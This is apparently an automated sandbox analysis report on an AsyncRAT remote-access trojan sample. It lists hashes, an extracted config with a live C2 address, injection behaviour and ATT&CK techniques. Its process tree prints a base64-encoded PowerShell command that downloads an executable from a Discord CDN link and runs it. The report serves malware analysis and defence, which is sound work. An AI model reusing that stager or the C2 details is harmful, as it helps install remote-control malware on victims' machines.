asyncrat | d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9

General

Target

hjasgfhjasgdas.exe
Size

6KB
MD5

378deda0d1313deba917adfc74173962
SHA1

cb466cdd64949febdaaae75625d5a3ce0fff6e35
SHA256

d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9
SHA512

c1411ed00aeb88b6f92702132d20dac2efacd90e79aee697e1e0431353638353a5f9fa6b575676e0426f1434cede0f59e58559822cc45067893a30f6b8300281
SSDEEP

96:Ck79rll3VI2St01vk+Al5tONtUqvkC4muMs6d3oj0dirl:J9r/33SCvkRgNtUqvkBmm6dNdq

Score

10^/10

asyncrat system guard runtime rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

C2

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes

delay
3
install
false
install_file
System Guard Runtime
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1692-148-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

34 2952 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

dsffe4vb5.exe

pid process

1992 dsffe4vb5.exe

flow	pid	process
34	2952	powershell.exe

pid	process
1992	dsffe4vb5.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

hjasgfhjasgdas.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	hjasgfhjasgdas.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

dsffe4vb5.exe

description pid process target process

PID 1992 set thread context of 1692 1992 dsffe4vb5.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2952 powershell.exe
2952 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exedsffe4vb5.exe

description pid process

Token: SeDebugPrivilege 2952 powershell.exe
Token: SeDebugPrivilege 1992 dsffe4vb5.exe

description	pid	process	target process
PID 1992 set thread context of 1692	1992	dsffe4vb5.exe	RegAsm.exe

pid	process
2952	powershell.exe
2952	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	1992	dsffe4vb5.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

hjasgfhjasgdas.exepowershell.exedsffe4vb5.exe

description	pid	process	target process
PID 3268 wrote to memory of 2952	3268	hjasgfhjasgdas.exe	powershell.exe
PID 3268 wrote to memory of 2952	3268	hjasgfhjasgdas.exe	powershell.exe
PID 2952 wrote to memory of 1992	2952	powershell.exe	dsffe4vb5.exe
PID 2952 wrote to memory of 1992	2952	powershell.exe	dsffe4vb5.exe
PID 2952 wrote to memory of 1992	2952	powershell.exe	dsffe4vb5.exe
PID 1992 wrote to memory of 1692	1992	dsffe4vb5.exe	RegAsm.exe
PID 1992 wrote to memory of 1692	1992	dsffe4vb5.exe	RegAsm.exe
PID 1992 wrote to memory of 1692	1992	dsffe4vb5.exe	RegAsm.exe
PID 1992 wrote to memory of 1692	1992	dsffe4vb5.exe	RegAsm.exe
PID 1992 wrote to memory of 1692	1992	dsffe4vb5.exe	RegAsm.exe
PID 1992 wrote to memory of 1692	1992	dsffe4vb5.exe	RegAsm.exe
PID 1992 wrote to memory of 1692	1992	dsffe4vb5.exe	RegAsm.exe
PID 1992 wrote to memory of 1692	1992	dsffe4vb5.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\hjasgfhjasgdas.exe
"C:\Users\Admin\AppData\Local\Temp\hjasgfhjasgdas.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3268

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAeQB1ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADQAMgA0ADcANwA0ADEANwA2ADYAOAA4ADAAOAA3ADgANQAvADEAMAA0ADIANAA3ADcANQAwADYANAA4ADMAMQA5ADUAOQA2ADQALwBwAGwAbABtAG0AZABpAGkAcABtAC4AZQB4AGUAJwAsACAAPAAjAGwAdgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdABqAHcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAawBlAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAZABzAGYAZgBlADQAdgBiADUALgBlAHgAZQAnACkAKQA8ACMAZQB6AHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYgByAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAcQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGQAcwBmAGYAZQA0AHYAYgA1AC4AZQB4AGUAJwApADwAIwByAHMAawAjAD4A"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2952

C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe
"C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1992

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:1692

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe
Filesize
14.7MB

MD5
2cbd5d9d43c5c49f0580975e9e620808

SHA1
17e209b6d6c66882ed78a40d7e0d211760b489a0

SHA256
399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403

SHA512
26e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812

Download Submit
C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe
Filesize
14.7MB

MD5
2cbd5d9d43c5c49f0580975e9e620808

SHA1
17e209b6d6c66882ed78a40d7e0d211760b489a0

SHA256
399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403

SHA512
26e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812

Download Submit
memory/1692-148-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1692-147-0x0000000000000000-mapping.dmp

Download
memory/1992-144-0x0000000007180000-0x0000000007724000-memory.dmp

Filesize
5.6MB

Download
memory/1992-139-0x0000000000000000-mapping.dmp

Download
memory/1992-143-0x0000000000D90000-0x0000000001C40000-memory.dmp

Filesize
14.7MB

Download
memory/1992-145-0x0000000006C90000-0x0000000006D22000-memory.dmp

Filesize
584KB

Download
memory/1992-146-0x0000000006DE0000-0x0000000006E7C000-memory.dmp

Filesize
624KB

Download
memory/2952-138-0x00007FF99DE50000-0x00007FF99E911000-memory.dmp

Filesize
10.8MB

Download
memory/2952-136-0x00007FF99DE50000-0x00007FF99E911000-memory.dmp

Filesize
10.8MB

Download
memory/2952-135-0x0000022C3D250000-0x0000022C3D272000-memory.dmp

Filesize
136KB

Download
memory/2952-142-0x00007FF99DE50000-0x00007FF99E911000-memory.dmp

Filesize
10.8MB

Download
memory/2952-133-0x0000000000000000-mapping.dmp

Download
memory/3268-137-0x00007FF99DE50000-0x00007FF99E911000-memory.dmp

Filesize
10.8MB

Download
memory/3268-132-0x0000000000170000-0x0000000000178000-memory.dmp

Filesize
32KB

Download
memory/3268-134-0x00007FF99DE50000-0x00007FF99E911000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads